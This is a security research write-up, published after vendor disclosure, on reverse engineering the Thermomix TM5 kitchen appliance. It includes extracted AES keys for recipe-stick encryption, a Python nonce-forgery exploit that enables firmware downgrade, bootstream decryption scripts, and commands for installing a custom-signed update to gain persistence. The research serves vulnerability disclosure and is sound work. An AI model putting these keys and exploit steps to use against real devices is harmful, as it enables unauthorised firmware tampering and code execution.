Let Me Cook You a Vulnerability: Exploiting the Thermomix TM5
- 10/07/2025 - inThis article delves into vulnerability research on the Thermomix TM5, leading to the discovery of multiple vulnerabilities, which allow firmware downgrade and arbitrary code execution on some firmware versions. We provide an in-depth analysis of the system and its attack surface, detailing the vulnerabilities found and steps for exploitation.
Looking to improve your skills? Discover our trainings sessions! Learn more.
Hardware Analysis
The Thermomix TM5 is a multifunctional kitchen appliance composed of two key electronic boards: the power board, which handles the motor and heating functions, and the main board, which integrates the human-machine interface and controls the other boards. In this analysis, we will focus on the main board.
The main module of the Thermomix TM5 is located at the back of the screen:

After cleaning with isopropyl alcohol to remove the conformal coating, we can read the IC chip markings, specifically the NAND flash, which was previously unreadable:
- Nanya Technology NT5TU64M16HG-AC: 1GB DDR2 SDRAM.
- Freescale / NXP MCIMX283DVM4B: i.MX28 SoC, based on an ARM926EJ-S core.
- Toshiba TC58NVG0S3HTA00: 128 Mbytes TSOP-48 NAND flash.
NAND Flash
The NAND flash can be dumped with a TSOP48 ZIF socket and an XGecu flash programmer. However, the result reveals an unexpected issue:
$ binwalk TC58NVG0S3HTA00_without_spare@TSOP48.BIN
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
13107210 0xC8000A UBI erase count header, version: 1, EC: 0x38, VID header offset: 0x800, data offset: 0x1000
13137625 0xC876D9 gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
Indeed, the UBI header is unaligned and is not readable. According to the reference manual of the i.MX28 SoC [1], it seems that the NAND is handled by a custom driver and controller called GPMIC that adds interleaving bytes called metadata for integrity check.
The boot ROM expects the NAND Flash to be partitioned into the following areas:
- Search Area for Firmware Configuration Block (FCB).
- Search Area for Discovered Bad Block Table (DBBT).
- Firmware blocks with primary and secondary boot firmware.
The FCB data structure is itself protected using software ECC (SEC-DED Hamming Codes): the driver reads raw 2112 bytes of the first sector and runs through software ECC engine that determines whether FCB data is valid or not.
The FCB and DBBT are referred to as Boot Control Blocks (BCB). Here is the layout of the NAND BCB blocks:
Page 0 (0x00000000): Firmware Configuration Block (FCB)
Page 64 (0x00022000): Firmware Configuration Block (FCB)
Page 128 (0x00044000): Firmware Configuration Block (FCB)
Page 192 (0x00066000): Firmware Configuration Block (FCB)
Page 256 (0x00088000): Firmware Configuration Block (FCB)
Page 320 (0x000aa000): Firmware Configuration Block (FCB)
Page 384 (0x000cc000): Firmware Configuration Block (FCB)
Page 448 (0x000ee000): Firmware Configuration Block (FCB)
Page 512 (0x00110000): Discovered Bad Block Table (DBBT)
Page 576 (0x00132000): Discovered Bad Block Table (DBBT)
Page 640 (0x00154000): Discovered Bad Block Table (DBBT)
Page 704 (0x00176000): Discovered Bad Block Table (DBBT)
Page 768 (0x00198000): Discovered Bad Block Table (DBBT)
Page 832 (0x001ba000): Discovered Bad Block Table (DBBT)
Page 896 (0x001dc000): Discovered Bad Block Table (DBBT)
Page 960 (0x001fe000): Discovered Bad Block Table (DBBT)
Page 1024 (0x00220000): Discovered Bad Block Table (DBBT)
Some tools, like imx-nand-tools
[2], have already been developed for both parsing and cleaning this NAND flash structure:
$ imx-nand-convert -c -e 512 -p $((2112)) -t $((2112+64)) -m $((0xa)) -v TC58NVG0S3HTA00@TSOP48.BIN clean.bin
Cook Stick
The "recipe chips" or "cook sticks" are small magnetic modules for the TM5 used to add recipe libraries to the Thermomix.

These modules connect to the main board through a 4-pin magnetic connector:

We acquired two secondhand chips at a minimal cost. Since we have no plans to use them, we dismantled them for analysis. Upon disassembly, we discovered that these modules contain UDP flash drives (USB Disk in Package) enclosed in an ABS shell and resting on spring pins, which establish solderless contact with the TM5 reader. These spring contacts, also known as spring fingers, are similar to those found in phones with removable batteries.

We can dump the other keys without dismantling by modifying a TM5 reader socket:

Using binwalk to analyze the entropy of the dumped files, we observe a high and consistent entropy throughout the file, indicating that the data is likely encrypted. This high entropy pattern is typical of encrypted or compressed data, where the bytes are evenly distributed across the possible values, showing no observable patterns:

Without information about the file format, compression, or encryption algorithm employed, deducing the contents of these files is practically impossible. Additional details are necessary to progress in our analysis.
File System Encryption
During the analysis of NAND flash content of the main board, we found the file /opt/cookey.txt
:
$ cat /opt/cookey.txt
EiOJeNLiooqwWobaVDVrbJWLCifvQC5oDqNqHfuSYBt3y4vwN3YKq2EsvFK3U4M9
$ base64 -d /opt/cookey.txt | hd
00000000 12 23 89 78 d2 e2 a2 8a b0 5a 86 da 54 35 6b 6c |.#.x.....Z..T5kl|
00000010 95 8b 0a 27 ef 40 2e 68 0e a3 6a 1d fb 92 60 1b |...'.@.h..j...`.|
00000020 77 cb 8b f0 37 76 0a ab 61 2c bc 52 b7 53 83 3d |w...7v..a,.R.S.=|
00000030
This file is used to encrypt and decrypt the volumes of the cook sticks using AES-128 CBC according to the following command executed by the netlink
binary:
losetup -e aes128 -P /opt/cookey.txt /tmp/dev/loop0 /tmp/dev/sr0
However, it does not work on a fresh install of Debian.
Looking at a Github repository containing the kernel sources provided by Vorwerk under GNU GPL v2, we observed that a dedicated cryptographic driver has been patched and added to the kernel source tree. This driver, dubbed DCP (Data Co-Processor [3]), leverages specialized hardware along with DMA to accelerate cryptographic operations such as AES encryption and decryption, while efficiently offloading memory transfer tasks from the CPU.
This kernel driver is a modified version of the DCP module developed by Freescale / NXP, containing an hardcoded cmp_key
and act_key
AES key. The cmp_key
is used as a known secret between the userland and the kernel to set the actual encryption key act_key
with the function dcp_aes_setkey_blk
.
These two keys are replaced in the kernel sources on compile time with the following commands:
do_handle_keys() {
# Replace dcp driver and inject keys
cp -f ${WORKDIR}/dcp.c ${S}/drivers/crypto/dcp.c
# act_key (1. Remove old key, 2. Place in the place of the old key new key from file)
sed -i '/static const u8 act_key/{$!{N;s/static const u8 act_key.*\n.*/static const u8 act_key\[AES_KEYSIZE_128\] = {\n};/}}' ${S}/drivers/crypto/dcp.c
sed -i '/static const u8 act_key/r ${KEYS_PATH}/rc/dcp.c_act_key' ${S}/drivers/crypto/dcp.c
# cmp_key (1. Remove old key, 2. Place in the place of the old key new key from file)
sed -i '/static const u8 cmp_key/{$!{N;s/static const u8 cmp_key.*\n.*/static const u8 cmp_key\[AES_KEYSIZE_128\] = {\n};/}}' ${S}/drivers/crypto/dcp.c
sed -i '/static const u8 cmp_key/r ${KEYS_PATH}/rc/dcp.c_cmp_key' ${S}/drivers/crypto/dcp.c
# [...]
}
Thus, obtaining the kernel image is mandatory to gain access to the act_key
value and decrypt the cook stick file system. However, a kernel image, obtained in a later section of this article, reveals the following keys:
static const u8 cmp_key[0x10] =
{
0x23, 0x37, 0xA5, 0x91, 0x66, 0xB9, 0x4E, 0x2C, 0xFB, 0xF0,
0xCF, 0x5D, 0x53, 0xBB, 0xBE, 0x58
};
static const u8 act_key[0x10] =
{
0x2F, 0xAF, 0x32, 0xC6, 0xF2, 0x6B, 0x5C, 0xC0, 0x21, 0xC1,
0x89, 0x88, 0x01, 0x9A, 0xF3, 0xA5
};
The reverse engineering of the losetup
tool (based on the loop-AES project) reveals that the cmp_key
corresponds to the first 16 bytes of the SHA256 hash of the clearTextKeyFile
passed to losetup. In this context, the clearTextKeyFile
is /opt/cookey.txt
, which can be dumped from the NAND flash of the main board:
import hashlib
with open("/opt/cookey.txt", "rb") as fd:
key_bytes = fd.read()
key_hash = hashlib.sha256(key_bytes).hexdigest()
print(bytes.fromhex(key_hash)[:0x10].hex())
# 2337a59166b94e2cfbf0cf5d53bbbe58
Using the act_key
, we can use cryptsetup
to decrypt and mount the volumes that were previously extracted:
echo -n 2faf32c6f26b5cc021c18988019af3a5 | xxd -r -p >key.txt
sudo cryptsetup create cookstick cookstick.bin -c aes-cbc-plain -s 128 --key-file key.txt
sudo mkdir /mnt/key/
sudo mount -o ro /dev/mapper/cookstick /mnt/key
Here is the typical file structure of the cook sticks:
$ cd /mnt/key
$ tree
.
├── ext.sdb # sqlite database containing recipes.
├── ext.sdb.sig # sig file of the sqlite database.
└── material
└── photo
└── 150x150 # jpg files along with sig files.
├── bright # sprites for light theme (png files along with sig files).
└── dark # sprites for dark theme (png files along with sig files).
All resources are protected by a signature. Therefore, it is unlikely that we can modify any recipe content in the SQLite database ext.sdb
, or modify an image used in any of these recipes without bypassing the signature check.
Cook Key
The Cook Key is a special device that allows one to connect the Thermomix to the Wi-Fi, download firmware updates, and download additional recipes from a cloud service.
This device can be seen as a USB hub containing three devices:

LED Controller
The PIC16F1454
on the PCB of the Cook Key is used for controlling the LEDs over a serial link. This link is accessible through the virtual device ttyACM0
, which is used by usbmcd
, netlink
, and wifiManager
binaries. Based on the reverse engineering of the usbmcd
binary, we were able to enumerate the following control commands:
0xa1
: Gets the cloud stick UUID0xa2
: Gets the firmware version0xd1
: Turns the LED off0xd2
: Turns the LED on0xd3
: Blinks the LED0xd4
: Pulses the LED slowly (breeze effect)0xd5
: Pulses the LED quickly (breeze effect)0xd6
: Gets the model ID (returns:M4001
)0xd7
: Gets the hardware version (returns:810
)0xe0
: Gets the region (returns:EU
)0xe1
: Configures the radio device mode0xe2
: Gets the EU compliant device mode state0xe3
: Unknown command (returns:Programming Keys Received
)
The following commands can be used to make the Cook Key blink:
minicom -b 9600 -D /dev/ttyACM0
stty 9600 </dev/ttyACM0
echo -ne "\xd5" >/dev/ttyACM0
WLAN Module
The Marvell 88W8786U
WLAN module is not very common nor well-documented, but has been used in the Xbox 360 Slim WLAN module, which comes with a non standard USB connector driven by 3.3V.
This module can be modified for testing on the Thermomix with a 3.3V step-down converter and a USB-C connector.

However, the device has been reprogrammed by Microsoft and shown as a Xbox communication device:
usb 1-3: new high-speed USB device number 54 using xhci_hcd
usb 1-3: New USB device found, idVendor=045e, idProduct=0765, bcdDevice=10.20
usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 1-3: Product: Xbox console USB communication device
usb 1-3: Manufacturer: Marvell
usb 1-3: SerialNumber: 0000000000000000
After unmounting its SOIC-8 serial flash, the device is effectively shown as a Marvell WLAN module:
usb 1-3: new high-speed USB device number 70 using xhci_hcd
usb 1-3: New USB device found, idVendor=1286, idProduct=203c, bcdDevice=31.14
usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 1-3: Product: Marvell Wireless Device
usb 1-3: Manufacturer: Marvell
usb 1-3: SerialNumber: 0000000000000000
UDP flash drive
The UDP flash drive is not encrypted and contains two ext4
partitions:
$ sudo fdisk -l /dev/sda
Disk /dev/sda: 7.5 GiB, 8053063680 bytes, 15728640 sectors
Disk model: USB Flash Disk
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x215f00ab
Device Boot Start End Sectors Size Id Type
/dev/sda1 2048 526335 524288 256M 83 Linux
/dev/sda2 526336 7854079 7327744 3.5G 83 Linux
The first partition contains a cs.tar
archive that is used to restore the content of the second partition in case a corruption is detected. This archive has been exploited previously for gaining arbitrary code execution exploiting the CVE-2011-5325
[5] [6].
The second partition contains downloaded recipes, cloud settings, and a tm5.img
firmware update file.
Emulation
Assuming we got every component of the cook key, it becomes feasible to create a fake cook key device to perform tests on the Thermomix. This leads to the development of a custom PCB to connect any USB-C device on the Thermomix TM5.


This module can be used for both connecting the USB flash drive of recipe chips, or a USB hub with:
- The Marvell WLAN module.
- An emulated LED controller implemented with the TinyUSB library running on a Raspberry Pi Pico.
- An emulated USB flash drive with the usb_f_mass_storage kernel module running on a Raspberry Pi.
This setup allowed us to perform some tests on the Thermomix, emulating as many devices as possible, while keeping the original hardware intact.
Firmware Update File
The Thermomix TM5 firmware update file is a binary package divided into two main regions: the Header Region and the Data Region.

Header Region
The Header Region contains multiple Section Headers that define individual firmware sections. Each section header includes:
- Authentication Data: Cryptographic components such as the RSA signature and the AES-EAX nonce and tag. This cryptographic material is required to decrypt the associated data and verify its integrity.
- Section Information: Metadata such as the section name, size and offset.
This structure indicates that each section of the firmware update file is independently defined and authenticated.
Data Region
The Data Region contains the actual firmware content, organized into corresponding Sections. Each section includes:
- Authentication Data: Similar to the Header Region, this component ensures the integrity of the section data and provides the cryptographic material required to decrypt the associated data.
- Section Data: Contains the actual firmware parts, including:
version
: A structure representing the version date, comment, and aforce_flag
boolean used to force an upgrade regardless of the current firmware version.firmware.pack
: Contains the root filesystem (rootfs) and a signed boot stream fileimx28_ivt_linux_signed.sb
, which includes the boot image vector table (IVT) and the Linux kernel image [1].data.pack
: Contains signed language packs, settings and fonts.extra.pack
: Contains additional data required during system upgrade, such as the OTP bit values used for efuse programming, pre- and post-upgrade scripts, MCU firmware updates, etc.
The version section is expected to be 0x34
bytes:
struct version_info_t {
uint8_t date[0x14];
uint8_t comment[0x1e];
uint16_t force_flag;
};
This modular design enhances update flexibility but introduces a vulnerability. In versions prior to 2.14
(202301170000
), attackers could downgrade firmware by swapping firmware update file sections between versions. For example, one could extract the rootfs from version 201605230000
and integrate it into the firmware update file for version 2.12
(202109080000
). The device would recognize the tampered version section as valid and execute the update, effectively downgrading critical components while maintaining the appearance of a legitimate update. This bypassed the intended security measures, since the anti-downgrade protection is linked to the Version Date
and Force Flag
.
However, this vulnerability had one major limitation: although it allowed firmware downgrades, the date field of the version section still needed to be greater than the current one, or the force_flag
had to be set (which never happens for production update files). This limitation has been overcome by a new vulnerability described below.
⚠️ Please note that this vulnerability has been addressed and is considered patched starting from version 2.14. The firmware file format has been upgraded to prevent firmware section swapping by including the signatures of the sections in the data of the version section.
Section Data Encryption
The program /usr/sbin/checkimg
is used to perform integrity checks and decrypt the firmware update file. Firmware sections are encrypted using AES-EAX mode, which combines the AES-CTR for encryption with an OMAC-based tag for integrity. Although each section’s ciphertext is RSA‑signed, the nonce and tag, stored in the header, are excluded from the signature and can thus be tampered with.

In AES-EAX decryption, the ciphertext $C$ is transformed into plaintext $P$ as follows:
- A keystream is generated with AES-CTR with the nonce $N$ and the AES key $K$. The initial counter block is computed as $OMAC_K^0(N) = OMAC_K(0^{128} || N)$ and subsequent blocks increment this counter.
- The plaintext is then derived as $P = C \oplus CTR(OMAC_K^0(N), K)$ where $CTR(OMAC_K^0(N), K) = K_0 || K_1 || K_2 || ...$ represents the keystream generated by AES-CTR.
For the first 16-byte block:
- The keystream is defined as $K_0 = AES(K, OMAC_K^0(N))$.
- The corresponding plaintext block is $P_0 = C_0 \oplus K_0$.
Since the nonce $N$ is not signed, modifying it to a new nonce $N'$ alters the keystream to $K_0' = AES(K, OMAC_K^0(N'))$, allowing control over $P_0'$ without modifying the signed ciphertext $C_0$. Please note that the authentication tag will then fail verification unless it is recomputed with the key $K$.
Firmware Downgrade
Controlling the First Block with Nonce Tampering
To set a desired first block plaintext $P_0'$ (e.g., a version date string), we must obtain a keystream $K_0'$ such that:
$P_0' = C_0 \oplus K_0'$
Rearranging:
$K_0' = C_0 \oplus P_0'$
Without knowledge of the AES key $K$, finding a nonce $N'$ that produces $K_0' = AES(K, OMAC_K^0(N'))$ is computationally infeasible. However, in the Thermomix TM5 case, the AES key $K$ was extracted from the /usr/sbin/checkimg
binary, which enables the attack:
- Select Plaintext: Choose $P_0'$ as a 12-character version date (e.g.,
"197001010000"
) plus a null byte, totaling 13 bytes, with an additional 3 padding bytes (more on this later). - Calculate Keystream: Compute $K_0' = C_0 \oplus P_0'$ using the known ciphertext $C_0$.
- Invert OMAC: Reverse the OMAC process and AES-ECB decryption to determine the corresponding nonce $N′$.
Using $N'$, the original ciphertext $C_0$ decrypts to the chosen $P_0'$ without modifying the signed ciphertext $C$.
Manipulating the Version Date String
The first 16-byte plaintext block of the version section contains:
- 12 characters
Version Date
(e.g.,"197001010000"
). - 1 null byte to terminate the string.
- 3 remaining bytes.
By setting $P_0′$ to "197001010000\x00"
followed by 3 padding bytes (e.g., \x00\x00\x00
), we can control the date and potentially bypass anti-downgrade checks.
However, while the nonce $N'$ fully controls the first block $P_0'$, subsequent blocks depend on the same nonce. Consequently, we cannot directly choose $P_1'$ because $N'$ is fixed to match $P_0'$.
Since the force_flag
(which enables forced updates when set to 1) is located in a later block, we leverages the 3 remaining bytes in $P_0'$ to indirectly influence the subsequent blocks. The process is as follows:
- Fix Date: Set the first 13 bytes of $P_0'$ to the desired date string plus a null byte (e.g.,
"197001010000\x00"
). - Brute-Force Padding: Iterate over the $2^24$ (16,777,216) combinations of the last 3 bytes in $P_0'$.
- Test Combinations:
- For each combination, compute $K_0' = \underbrace{C_0}_{\text{original ciphertext block}} \oplus P_0'$.
- Derive $N'$ by inverting OMAC and AES.
- Decrypt all blocks using $N'$ and verify if
force_flag=1
.
- Feasibility: Given that $2^{24}$ attempts are computationally practical on modern hardware, the brute-force phase typically completes within seconds to minutes.
When a combination yields force_flag=1
, the only remaining step is to pair the modified nonce $N'$ with the original ciphertext and generate a valid AES-EAX tag.
Demonstration
Below is a Python script demonstrating the exploit:
from construct import Struct, Bytes, Int16ul
from Cryptodome.Cipher import AES
from Cryptodome.Hash import SHA256, CMAC
from Cryptodome.Util.strxor import strxor
from itertools import product
version_info_struct = Struct(
"date" / Bytes(0x14),
"comment" / Bytes(0x1e),
"force_flag" / Int16ul,
)
def omac_nonce_inv(key, nonce):
"""
Invert the OMAC nonce transformation.
"""
cipher = AES.new(key, AES.MODE_ECB)
const_Rb = 0x87
L = cipher.encrypt(b"\x00" * 16)
if L[0] & 0x80:
K1 = CMAC._shift_bytes(L, const_Rb)
else:
K1 = CMAC._shift_bytes(L)
if K1[0] & 0x80:
K2 = CMAC._shift_bytes(K1, const_Rb)
else:
K2 = CMAC._shift_bytes(K1)
X = cipher.decrypt(nonce)
nonce = strxor(X, strxor(K1, L))
return nonce
def decrypt_and_check(ciphertext, nonce, key):
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)
version_info = version_info_struct.parse(plaintext)
return (version_info.force_flag == 1), plaintext
def encrypt_and_digest(plaintext, nonce, key):
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
return ciphertext, tag
def main():
# Extracted AES key (replace with the actual key)
key = SHA256.new(b"REDACTED").digest()
ciphertext = bytes.fromhex("REDACTED")
# Brute-force the 3 padding bytes
for padding in product(range(0x100), repeat=3):
P_0_prime = b"197001010000\x00" + bytes(padding) # 16 bytes total
K_0_prime = strxor(P_0_prime, ciphertext[:16])
# Invert AES and OMAC to find intermediate value and get N'
cipher = AES.new(key, AES.MODE_ECB)
intermediate = cipher.decrypt(K_0_prime)
N_prime = omac_nonce_inv(key=key, nonce=intermediate)
# Decrypt all blocks and check force_flag
success, plaintext = decrypt_and_check(ciphertext=ciphertext, nonce=N_prime, key=key)
if success:
new_ciphertext, tag = encrypt_and_digest(plaintext=plaintext, nonce=N_prime, key=key)
assert new_ciphertext == ciphertext
print(f"nonce: {N_prime.hex()}")
print(f"tag: {tag.hex()}")
print(f"plaintext first block: {plaintext[:16]}")
with open("corrupted.img", "r+b") as fd:
fd.seek(0x370)
fd.write(N_prime)
fd.write(tag)
break
else:
print("No valid nonce found.")
if __name__ == "__main__":
main()

Gaining Persistence
In addition to enabling firmware downgrades, we found that the secure boot is not properly implemented. Indeed, the lack of integrity checks or signature verification for the rootfs during the boot process allows one to modify its content and gaining persistent access. This vulnerability can be chained with the firmware downgrade vulnerability to gain arbitrary code execution and apply a controlled firmware update file without messing up with the NAND flash.
Boot Process
The Thermomix TM5 operates on an i.MX28 SoC, which boots from ROM, loading a bootstream that initializes the Linux kernel. Unlike many embedded systems, it does not employ an initramfs
or mechanisms like dm-verity
to verify the integrity or signature of the rootfs.
The boot stream is structured as follows (with Kaitai Struct) and consist of signed binary blobs that include both the Device Configuration Data (DCD) and the Image Vector Table (IVT):
meta:
id: bootstream
file-extension: bootstream
endian: le
xref: "https://github.com/nxp-imx/imx-kobs/blob/master/src/bootstream.h"
seq:
- id: boot_image_header
type: boot_image_header_t
- id: sections
type: section_t(_index)
repeat: expr
repeat-expr: boot_image_header.section_count
- id: key_dictionary
type: dek_dictionary_entry_t
repeat: expr
repeat-expr: boot_image_header.key_count
instances:
signature:
pos: (sections[boot_image_header.section_count - 1].header.offset * 16) + (sections[boot_image_header.section_count - 1].header.length * 16)
size: 16*2
types:
boot_image_header_t:
seq:
- id: digest
size: 20
doc: "SHA1 digest"
- id: signature
type: str
size: 4
encoding: utf-8
- id: major_version
type: u1
- id: minor_version
type: u1
- id: flags
type: u2
- id: image_blocks
type: u4
- id: first_boot_tag_block
type: u4
- id: first_bootable_section_id
type: u4
- id: key_count
type: u2
- id: key_dictionary_block
type: u2
- id: header_blocks
type: u2
- id: section_count
type: u2
- id: section_header_size
type: u2
- id: padding0
size: 6
- id: timestamp
type: u8
- id: product_version
type: version_t
- id: component_version
type: version_t
- id: drive_tag
type: u2
- id: padding1
size: 6
instances:
raw:
pos: 0
io: _io
size: 0x60
dek_dictionary_entry_t:
seq:
- id: mac
size: 16
- id: dek
size: 16
section_t:
params:
- id: i
type: u4
seq:
- id: header
type: section_header_t
instances:
body:
pos: header.offset * 16
size: header.length * 16
version_t:
seq:
- id: major
type: u2
- id: pad0
type: u2
- id: minor
type: u2
- id: pad1
type: u2
- id: revision
type: u2
- id: pad2
type: u2
section_header_t:
seq:
- id: identifier
type: u4
- id: offset
type: u4
- id: length
type: u4
- id: flags
type: u4
instances:
raw:
pos: _parent._parent.boot_image_header.raw.size + (0x10 * _parent.i)
io: _io
size: 0x10
However, its sections are encrypted and rely on the DCP (Data Co-Processor) with AES-128-CBC for decryption.
The DEK (Data Encryption Key) is used to decrypt the sections and is stored in its encrypted form in the DEK dictionary. The MAC key is used as a reference to look for the actual DEK to use from this dictionary (that MAC is basically the last 16 bytes block of the AES-CBC encryption of the header). The DEK, when decrypted, is called session_key
:
#!/usr/bin/env python3
import argparse
from bootstream import Bootstream
from Cryptodome.Cipher import AES
from pathlib import Path
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--input", type=Path, default="imx28_ivt_linux_signed.sb", help="Input file.")
parser.add_argument("-d", "--debug", help="Debug Mode", action="store_true", default=False)
parser.add_argument("-k", "--key", type=str, default="00000000000000000000000000000000", help="Encryption key (e.g., OTP_KEY_0)")
args = parser.parse_args()
if args.debug:
logger.setLevel(logging.DEBUG)
return args
def main():
args = get_args()
with open(args.input, "rb") as fd:
data = fd.read()
bs = Bootstream.from_bytes(data)
# Initialize cipher.
key = bytes.fromhex(args.key)
mac = bytes(16)
cipher = AES.new(key, AES.MODE_CBC, iv=mac)
# Encrypt blocks of the header to compute mac.
cipher.encrypt(bs.boot_image_header.raw)
for i in range(bs.boot_image_header.section_count):
inp = bs.sections[i].header.raw
mac = cipher.encrypt(inp)
print(f"calculated-mac = {mac.hex()}")
# Look for the actual Data Encryption Key based on the calculated mac value.
session_key = None
for i in range(bs.boot_image_header.key_count):
m_mac = bs.key_dictionary[i].mac
m_dek = bs.key_dictionary[i].dek
print(f"dek dictionary entry #{i}")
print(f" m_mac = {m_mac.hex()}")
print(f" m_dek = {m_dek.hex()}")
if session_key is None and m_mac == mac:
print(f"* Key matched")
cipher = AES.new(key, AES.MODE_CBC, iv=bs.boot_image_header.digest[:16])
session_key = cipher.decrypt(m_dek)
if session_key is None:
print("DEK could not be found, please review the AES key provided")
return 1
print(f"session_key = {session_key.hex()}")
if __name__ == "__main__":
main()
Providing we know the initial encryption AES key used for encrypting the DEK, we can retrieve the session_key
. This is not the case on the Thermomix TM5, which uses an OTP-burned key [4] for encrypting and decrypting data with DCP. However, this session_key
can be calculated with an embedded binary called kobs-ng
:
IMAGE_FILE="imx28_ivt_linux_signed.sb"
kobs-ng imgverify -v -d ${IMAGE_FILE} | grep "* session_key = " | awk -F' = ' '{print $2}'
This key can next be passed to the following script to decrypt the boot stream sections and reveal the Linux kernel image:
#!/usr/bin/env python3
import argparse
from bootstream import Bootstream
from Cryptodome.Cipher import AES
from pathlib import Path
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--input", type=Path, default="imx28_ivt_linux_signed.sb", help="Input file")
parser.add_argument("-d", "--debug", help="Debug Mode", action="store_true", default=False)
parser.add_argument("-k", "--key", type=str, default="00000000000000000000000000000000", help="Session key")
args = parser.parse_args()
if args.debug:
logger.setLevel(logging.DEBUG)
return args
def main():
args = get_args()
with open(args.input, "rb") as fd:
data = fd.read()
bs = Bootstream.from_bytes(data)
# Initialize cipher.
session_key = bytes.fromhex(args.key)
cipher = AES.new(session_key, AES.MODE_CBC, iv=bs.boot_image_header.digest[:16])
# Decrypt sections.
output_dir = Path(args.input.stem)
if not output_dir.exists():
output_dir.mkdir(parents=True, exist_ok=True)
for i, section in enumerate(bs.sections):
data = cipher.decrypt(section.body)
out_fpath = output_dir / f"section_{i}.bin"
with open(out_fpath, "wb") as fd:
fd.write(data)
if __name__ == "__main__":
main()
$ python decrypt_sections.py -i ${IMAGE_FILE} -k ${SESSION_KEY}
$ OFFSET=$(binwalk section_0.bin | grep zImage | awk '{print $1}')
$ dd if=section_0.bin of=zImage bs=${OFFSET} skip=1
$ vmlinux-to-elf zImage kernel.elf
[+] Version string: Linux version 2.6.35.14-571-gcca29a0 (jenkins@tm5dev-VirtualBox) (gcc version 4.4.4 (4.4.4_09.06.2010) ) #1 PREEMPT Mon May 23 11:22:20 CEST 2016
[+] Guessed architecture: armle successfully in 0.27 seconds
[+] Found kallsyms_token_table at file offset 0x0039a2a0
[+] Found kallsyms_token_index at file offset 0x0039a610
[+] Found kallsyms_markers at file offset 0x0039a1a0
[+] Found kallsyms_names at file offset 0x00370fd0
[+] Found kallsyms_num_syms at file offset 0x00370fc0
[i] Null addresses overall: 0 %
[+] Found kallsyms_addresses at file offset 0x00361b50
[+] Successfully wrote the new ELF kernel to kernel.elf
Exploitation
The persistent process is described as follows:
- Extract a update file: Original firmware update file sections will be used for crafting a custom firmware update file and apply custom patches.
- Patching the checkimg binary: Modify the
checkimg
binary to accept our own RSA signature or to bypass signature verification entirely (allowing both legitimate and forged firmware update files to be processed). Ensure that the patchedcheckimg
binary will be included in the rootfs of the patched update file. This is essential because a second verification of the update file occurs after reboot before patching the secondary slot to prevent TOCTOU vulnerability. - Crafting an update file: Create a custom firmware update file that includes the modified rootfs and sign this update file with our own private key.
- Manually Initiating the Update Process: Use the following commands to apply the custom update file:
export PATH=/tmp/sda2/patch:${PATH}
/opt/update.sh /tmp/sda2/patch/tm5.img /tmp/hotplug_add.lock 1
reboot
These commands hijack the checkimg binary calls from the update script to accept the patched tm5.img
update file. After reboot, the system will load the modified rootfs, granting persistent access.

Conclusion
This research reveals three critical weaknesses in the Thermomix TM5's security:
- Tamperable Nonce: Because the nonce is excluded from the RSA signature, allowing it to be manipulated to alter the decryption keystream.
- Known AES Key: The AES key can be extracted from the NAND flash and the
/usr/sbin/checkimg
binary, enabling precise nonce calculation. - Incomplete Secure Boot: The lack of robust integrity checks for the rootfs allows unauthorized modifications of the NAND flash content.
By exploiting these flaws, one can alter the firmware version block to bypass anti-downgrade protections, downgrade the firmware, and potentially execute arbitrary code. Strengthening the cryptographic binding of the nonce and tag, and enforcing comprehensive digital signatures on both the firmware and rootfs, are essential to mitigate these vulnerabilities.
Limitations and Scope
- Firmware Downgrades: Downgrades are limited to firmware versions prior to
2.14
. Version2.14
and later bind section signatures to the signed content of the version section, preventing firmware section swapping. - RSA Signature: No RSA signature bypass has been found, so every section must be valid and signed.
- Security Impact: The absence of camera and microphone, the low-power CPU, and the need for physical access with custom tooling constrain the impact of the vulnerabilities and poses no risk to users.
- Impacted Models: The TM6 and TM7 were not evaluated in this research and may use different protection schemes.
Acknowledgments
We would like to thank Vorwerk for their prompt response to our vulnerability disclosure and for authorizing this publication.